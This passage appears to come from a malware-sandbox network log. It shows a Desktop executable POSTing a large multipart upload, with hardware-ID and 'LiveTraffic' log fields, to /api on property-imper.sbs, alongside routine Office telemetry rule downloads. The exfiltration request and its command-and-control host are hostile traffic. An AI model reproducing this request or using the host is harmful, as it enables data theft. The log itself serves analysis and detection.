20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.10	49763	172.67.162.84	443	7804	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:58 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=FYAKUL3IB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570842 Host: property-imper.sbs
2024-11-24 07:43:58 UTC	15331	OUT	Data Raw: 2d 2d 46 59 41 4b 55 4c 33 49 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 39 30 34 35 34 44 45 31 38 42 30 45 35 35 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 46 59 41 4b 55 4c 33 49 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 46 59 41 4b 55 4c 33 49 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 46 59 41 4b 55 4c 33 49 42 0d 0a 43 6f 6e 74 65 6e Data Ascii: --FYAKUL3IBContent-Disposition: form-data; name="hwid"9790454DE18B0E55D7CBBD6DF28D3732--FYAKUL3IBContent-Disposition: form-data; name="pid"1--FYAKUL3IBContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--FYAKUL3IBConten
2024-11-24 07:43:58 UTC	15331	OUT	Data Raw: 0f ae 24 d7 94 c9 03 42 95 df e8 3c fd 5b eb 33 35 ee bd 9c 7f 24 cd 4e 7b 41 19 15 fb c3 8f fe a2 77 de ff 04 d1 72 0b 15 3c 3b 15 d3 f8 d1 b0 d3 ad 0b 26 f3 3b 1b f3 23 eb bf 92 7d 71 40 bd 98 00 58 dd 12 1e fb a2 50 88 dc f0 01 c9 75 3e fb bd 50 70 31 f4 99 70 06 ed 8d c9 99 1f b1 1f f9 ef 59 07 7f ea 42 c0 07 38 a1 0c 28 04 62 ed 65 d2 7d 7f 70 81 66 df ff ed 4f fa 3f 0c cc 0b 78 36 0f c2 8b 00 56 c6 b5 6d f0 80 e1 62 88 c2 a1 94 50 d4 49 d6 1d 96 d9 9a 37 1a 89 00 21 6f ee d7 27 ea 52 e9 4b 35 ff 9a d8 42 d4 43 22 ec 9f b1 78 9e 6e 9d 8b 05 51 21 6b 91 29 8f a4 8d 62 7d c6 45 dd 95 b0 88 cb bb 7d 2d f0 8f 45 61 4f 4c af 2c 13 d6 32 76 a0 9a af 60 c5 83 8f 9d 4d 6e 4b 2f d9 ca fa a2 8e d8 10 75 a5 7a 21 ef 59 f5 21 c8 a9 db d9 7d 83 fc ed d7 f8 2a f6 Data Ascii: $B<[35$N{Awr<;&;#}q@XPu>Pp1pYB8(be}pfO?x6VmbPI7!o'RK5BC"xnQ!k)b}E}-EaOL,2v`MnK/uz!Y!}*
2024-11-24 07:43:58 UTC	15331	OUT	Data Raw: 69 58 9e fe 0c 76 97 fa bd 99 41 29 99 fb f8 72 c2 1a f0 24 77 21 b5 d5 58 16 c2 19 fa 70 fe 87 83 a1 88 f5 39 0d e0 c0 47 a3 8b 7e f3 83 8b 0f 11 a2 e9 3a ec 18 40 1e 5d 60 d3 8b 91 10 0d 03 0a 7e cd 6c 33 f3 8d c4 05 23 1d f9 35 5a 9d 05 48 2c 41 2e d6 2e 6b 48 ce 40 cb 1e 1d 52 19 ec 0c 45 95 2a e0 d8 9f d9 32 71 24 b2 59 42 f1 0f 53 09 b8 4c 3a e9 f7 53 5b ec ac 87 43 2c 86 75 8f ff c6 67 78 a0 3a 25 86 f4 52 36 48 8f db b5 a8 c8 26 77 6b 62 16 db c9 f3 53 0e cc fb 79 6d e1 1e 36 fa 91 0e 20 71 69 bc fa f1 9f 17 3e 9c 4a 14 e8 11 fc ba 25 f7 18 e4 36 f1 12 97 0a 79 53 fa 90 1b 97 ba b1 e3 d2 13 9f 22 42 35 91 5d 42 81 c7 09 87 e1 92 af 35 fe 85 38 04 e2 db 6c 90 e5 2a 5f f8 a3 32 e3 c3 42 07 78 08 cb 72 09 8e 6e 67 23 bd d4 ca 72 dd bb ca d6 85 3e 05 Data Ascii: iXvA)r$w!Xp9G~:@]`~l3#5ZH,A..kH@RE2q$YBSL:S[C,ugx:%R6H&wkbSym6 qi>J%6yS"B5]B58l_2Bxrng#r>
2024-11-24 07:43:58 UTC	15331	OUT	Data Raw: 43 4d 07 b1 09 d0 af ed 8b 18 61 64 f8 d7 ea 0b e7 16 08 bc 3d fe 5b 42 4d 17 62 14 16 0e e0 77 f7 2a f1 9f a5 67 b5 9a 24 40 ee c7 7b 2d 22 02 2c 48 fc 40 d9 c3 5c b5 a7 74 bd 81 2e e7 18 7e d4 b6 10 b3 bf 1f a3 35 d6 50 f1 16 bd 97 17 74 95 64 d9 7a 1f ba 26 35 2a 75 40 10 2e 06 a9 a5 57 53 be d3 0d 02 db 11 c4 0a 9e f9 15 fd fd 92 e1 77 b4 b2 9c 85 40 fc 77 f6 98 3e 3e 43 4d 54 ea 37 27 1e 76 ff 2e 8a 6d 01 eb 24 3b de 79 cc f2 d4 9f 9f 08 1c 1f 53 74 e1 dd a5 76 b3 fa 09 08 cf 46 9b 10 3f 74 41 46 5a c7 24 07 8c 79 01 54 91 14 15 1d 9c 00 70 6f 64 a8 77 62 76 06 d4 2e b1 5f 07 a3 6c 49 c9 87 8e 79 ac 5b 42 a4 85 a2 3f 40 53 6f 5d 35 be f9 be ee ae 76 a5 48 32 9c 5c be 08 0b 3a 04 5b 49 85 75 0f 01 22 eb f8 ed b0 81 ef 5f 43 ea 19 ca d6 83 ee 19 5b 59 Data Ascii: CMad=[BMbwg$@{-",H@\t.~5Ptdz&5u@.WSw@w>>CMT7'v.m$;yStvF?tAFZ$yTpodwbv._lIy[B?@So]5vH2\:[Iu"_C[Y
2024-11-24 07:43:58 UTC	15331	OUT	Data Raw: f3 ff 59 93 ff ff 7a 29 84 3b 47 79 c6 11 40 77 35 46 e4 0a 12 13 fe 4e c8 7d df 9e 8b c0 25 d9 92 cd 18 9d 4a 71 b5 33 e9 13 07 67 49 92 08 2a 08 8d 0a 7d 71 18 41 f4 84 d4 95 71 8a fc 57 56 93 37 f4 b4 6f 7d 19 fb 1a 5f d3 5c 74 fa 76 96 d0 30 0e 9c a5 da 71 01 f3 15 e4 61 27 0f 19 aa 8a 84 6a e0 1e bc 3f 52 78 ea ba 9f 06 70 c4 fc b9 3e de 53 81 da 94 4b 45 83 4e fd 70 a3 b1 7e ca f0 27 d5 7b 48 a5 da e7 df 74 20 6d 79 07 14 e0 61 f9 2f 28 34 9b 30 d8 ae cf f3 d1 f0 37 fc a9 6e ff fb 08 0e 06 a2 ff 55 6c 63 b6 f6 13 ab bf 49 c5 a5 16 ef b1 57 cc 2c dd bc 28 89 49 22 43 19 15 a8 80 f5 8c bc ab d7 78 df 3e 30 f6 5c dd d3 6e 5e 6f 07 67 99 de b1 67 e9 76 a0 49 58 e8 49 d8 fe f6 48 11 6f e9 ea b4 d6 15 a5 de 33 4d 93 d7 d8 6f 92 12 8f e2 fd d9 e5 6e 07 27 Data Ascii: Yz);Gy@w5FN}%Jq3gI*}qAqWV7o}_\tv0qa'j?Rxp>SKENp~'{Ht mya/(407nUlcIW,(I"Cx>0\n^oggvIXIHo3Mon'
2024-11-24 07:43:58 UTC	15331	OUT	Data Raw: 1e 5d 0d 65 4d ee 8d 66 1e aa 96 92 c6 6f 0a a0 34 b2 be 28 f8 70 21 94 00 44 f2 b3 16 f5 7c 26 33 95 30 1e df 7f 2c 43 69 7f f0 b5 bb d0 e0 40 45 d9 56 66 4a 58 9d b9 b5 1f bd b2 8a 62 cd 0c 88 78 f6 17 a9 56 ce de 5d f5 b6 d3 c4 c0 2a e0 55 a4 60 e7 49 07 78 1b 78 2a 38 59 1a 1d 38 33 d9 99 63 2b c3 1e f1 9d 9b 7b 9b 53 3e f1 31 55 1b 6b 00 ce a4 13 2f ce 2a 3a 09 1f d0 e5 fe cc 1b ad 10 8a af 7d f7 33 44 35 74 cc 9c d5 b9 64 ce 1a 93 e1 56 99 e5 8f 84 cd 5e 96 3b 7e d0 37 8c 4f a0 ba 22 7a cf 55 69 01 a8 c2 b4 b5 e1 64 a6 22 48 76 03 c5 f9 7b 4f 1c 04 ef fb 8b 5d f0 a0 1e 42 dd 66 38 b1 5f bc e0 93 89 e0 eb 8d 5c 4f 91 47 d3 4f 86 6f 5d 04 e0 a5 48 fd cb a7 1e 14 4d a5 bd 4b bd 0b e7 89 59 da b0 ed f7 83 69 0c ea e4 41 b0 4f cf ee d1 53 6f f3 d5 e3 9f Data Ascii: ]eMfo4(p!D\|&30,Ci@EVfJXbxV]U`Ixx8Y83c+{S>1Uk/*:}3D5tdV^;~7O"zUid"Hv{O]Bf8_\OGOo]HMKYiAOSo
2024-11-24 07:43:58 UTC	15331	OUT	Data Raw: 4f 18 92 1c db c9 f8 22 3f 7b f3 36 35 77 eb 1e 32 aa 7c df 48 f3 88 6d 74 88 b4 60 47 7e 65 ba 36 0f ac cc a5 4c e0 6a 57 9d 08 5b 73 94 ab 38 72 10 45 9b 0b 56 c1 7f f2 41 97 7d 97 8b 12 d9 ca 1b 91 82 8d ee bf aa 23 71 fd 25 55 dc b2 aa 17 3e cc b5 c2 41 96 f5 a9 bf ea f2 0d 80 92 15 b0 76 df 18 11 38 65 09 7e 3b 71 60 88 e9 3b 5b 35 77 a9 2f ac f5 58 a7 1e b8 41 af a9 4c e2 07 f6 dc da 07 ad d9 32 5a 47 f5 02 67 0c 67 01 69 8c 2d 84 e8 c0 23 ac 27 41 d2 90 e1 39 59 b8 65 01 07 0e e9 ba 43 a4 df 76 c4 ae a7 23 31 cc 85 f0 e9 df 84 53 c3 67 7e 92 34 78 ee 6a 0a 04 9d f5 6e 7e 77 40 d3 2c 3f 61 c7 f5 b5 89 a5 69 c9 f9 9f 3a d2 bf 67 6f 18 bc 6b 8e 4f 1f 4c f1 3e 7c e5 e0 39 83 81 dc af 63 a6 97 15 ae 1d dd ae f4 79 ce ff 5d 73 d7 83 3b 6c 01 b9 ad 4d 6f Data Ascii: O"?{65w2\|Hmt`G~e6LjW[s8rEVA}#q%U>Av8e~;q`;[5w/XAL2ZGggi-#'A9YeCv#1Sg~4xjn~w@,?ai:gokOL>\|9cy]s;lMo
2024-11-24 07:43:58 UTC	15331	OUT	Data Raw: c2 e9 47 3a 45 c1 0b a1 e6 3f b1 92 fb 87 7e 0f 3b fb ac 7d d3 b1 d7 61 c9 28 ff 50 50 9f 3b 4b 6f c0 6d dc 9c d7 7b 8f 84 d4 1d 08 b1 15 79 de 35 74 7a f1 48 5c e4 8d a1 1d 23 2d 22 16 bc 78 46 18 0f ee be a9 f3 01 94 48 9a a5 16 14 91 a1 5c 2f b3 ad e0 cd c2 78 6a a8 4e c8 86 84 5e e0 c7 3e 08 e6 73 cc da 87 27 bc e9 91 7b ca 83 83 d1 f8 1e f5 f4 db eb df 94 f4 ef 00 62 b1 7b 9e 2b 70 7a a4 a4 7f 84 5e 71 12 50 60 78 ed 2f 33 aa 33 1a 39 7a 57 10 88 2f 3c 67 b8 9a 81 22 79 f4 21 f3 5a 1f 7e d0 d5 7e ed 85 d7 73 12 a3 8b 0f 11 73 a7 4b a0 8f ec 00 f9 37 e1 77 c7 05 a6 56 61 20 8d 2a 80 91 59 65 ba 1a c8 5b f0 b3 3d 13 7d 52 00 fd 7a a4 76 6a a1 44 ab 36 f8 32 16 f0 d8 96 08 e7 8b 3e 27 9b 84 89 7a e9 59 14 87 f8 ef cc e2 b1 61 a9 58 11 46 f1 a8 82 c0 78 Data Ascii: G:E?~;}a(PP;Kom{y5tzH\#-"xFH\/xjN^>s'{b{+pz^qP`x/339zW/<g"y!Z~~ssK7wVa *Ye[=}RzvjD62>'zYaXFx
2024-11-24 07:43:58 UTC	15331	OUT	Data Raw: 1a 53 31 23 1a c2 f1 4d a4 e2 49 d4 26 f3 d7 2a 68 2b b1 34 0a 81 98 8c d8 0f d0 78 90 25 4a 40 e0 87 5a c2 32 c0 11 3c 7d e0 31 dd 01 64 4a f4 57 e8 87 fd 9a f4 58 e4 14 12 d9 d3 60 41 9c c9 98 a4 ed 34 dc c0 cd 06 36 b9 52 d7 ff 35 09 fb 62 32 85 eb 8c 70 da b5 af d1 e0 79 4a d1 f3 ce 06 5b 0f d4 03 90 15 7f 79 2f f3 fd fb e7 c3 8e c3 0a 51 59 30 f9 66 07 d5 3b d3 c8 6e f1 9c 11 21 65 3a 36 12 1d e3 ff 85 46 90 88 e8 49 2b 3c e7 c5 d2 8e f5 ba 87 10 ff 9c 36 62 61 76 b3 5b ff 7c 66 90 d0 54 be 99 c2 8f c5 e6 11 62 01 b4 b4 67 c9 0e d8 ea 91 f0 16 00 25 f2 ef 0e 70 22 21 f5 e6 d8 2b f7 64 8a bd fb 07 19 fc 58 d8 e4 ba 8a ea 2f d6 6b 30 b2 ce 43 7d e7 eb 4c e6 32 7d f7 6e 04 ef 03 fa 3f c1 ff 61 b7 ce da d0 cf 27 10 25 22 f4 4c 99 9d eb fc 31 14 e0 25 72 Data Ascii: S1#MI&*h+4x%J@Z2<}1dJWX`A46R5b2pyJ[y/QY0f;n!e:6FI+<6bav[\|fTbg%p"!+dX/k0C}L2}n?a'%"L1%r
2024-11-24 07:43:58 UTC	15331	OUT	Data Raw: 70 2d 99 6a 77 a3 31 c1 da 51 f9 a6 b5 b0 52 3d 50 d5 c8 31 30 e6 b7 24 ad 4d 1b 97 7f af b5 1f eb f9 81 2e db 40 ad 6d 18 3a 33 00 e3 13 02 84 7f bd 8e 42 71 53 f9 90 7d 1d 9a 79 b6 54 f9 13 6c e5 eb d5 80 66 32 1f cf cb 7e 82 33 51 28 14 60 f5 94 01 ba 5f 14 7c 9a a7 e4 26 f5 df d8 e1 5b 31 94 4e 08 58 1e 44 a5 79 02 ef 67 ff 16 b3 a5 3a 98 cd 95 95 01 01 cf c3 01 3d 68 d4 e1 2a e7 22 a0 f5 61 ae 75 0b b3 fc 79 00 0f 67 37 81 1c c6 d6 87 58 d1 c1 11 be a5 0f e3 8f 8c 7b f2 fe d7 00 47 98 c5 7f 44 31 dd 7f d5 3f b7 18 11 5c 42 ce 2c 8d b4 4c 60 76 ec 3c 31 c5 6f 12 51 87 df 16 ae db 5b ae 51 da c2 9b 70 b7 ce d7 89 f7 4d a2 e8 ea 4b ba f3 8d 46 7a 00 06 78 8c 04 65 bf 78 fb 6f 96 7f 4f 53 36 d7 48 3a 4b f0 ae 12 a4 79 d2 9d bd 39 67 0f dd cc 83 b3 d0 70 Data Ascii: p-jw1QR=P10$M.@m:3BqS}yTlf2~3Q(`_\|&[1NXDyg:=h*"auyg7X{GD1?\B,L`v<1oQ[QpMKFzxexoOS6H:Ky9gp
2024-11-24 07:44:02 UTC	1025	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0jidmdquu4jpd44khr3s8tnld1; expires=Thu, 20-Mar-2025 01:30:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WixSv1PMAiaHNNvrHX0k4zqEz5pEpT5Ndyks%2BPCEejN0KfhBlLjyIo%2BHE35PsGAPDnz4JA6ayYj7SWkrd3vGl9mAW%2FWcvGgQ%2BYzqokJ8NViFKxi9jf2PvJnoLz4%2FrvbsLqeKP5k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e77c5699c484235-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1703&sent=341&recv=590&lost=0&retrans=0&sent_bytes=2845&recv_bytes=573382&delivery_rate=1678160&cwnd=248&unsent_bytes=0&cid=f5ae24da7635efe9&ts=3897&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.10	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:59 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:00 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: c2180679-501e-008f-16bc-3b9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074400Z-178bfbc474bp8mkvhC1NYCzqnn00000005c000000000esg6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:00 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.10	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:00 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:00 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 6e0e0a2c-401e-0064-4814-3d54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074400Z-178bfbc474bv7whqhC1NYC1fg400000005kg00000000chd6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:00 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.10	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:00 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:00 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 89d933d2-101e-0028-046e-3c8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074400Z-174c587ffdftv9hphC1TEBm29w000000044g0000000026c7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:00 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.10	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:00 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:00 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: f9d2b1a4-b01e-003d-337e-3bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074400Z-174c587ffdfp4vpjhC1TEBybqw000000042000000000f7dt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:00 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.10	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:00 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:00 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 008bef3b-f01e-001f-677c-3b5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074400Z-174c587ffdfmlsmvhC1TEBvyks00000004b000000000403d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:00 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.10	49769	13.107.246.63	443

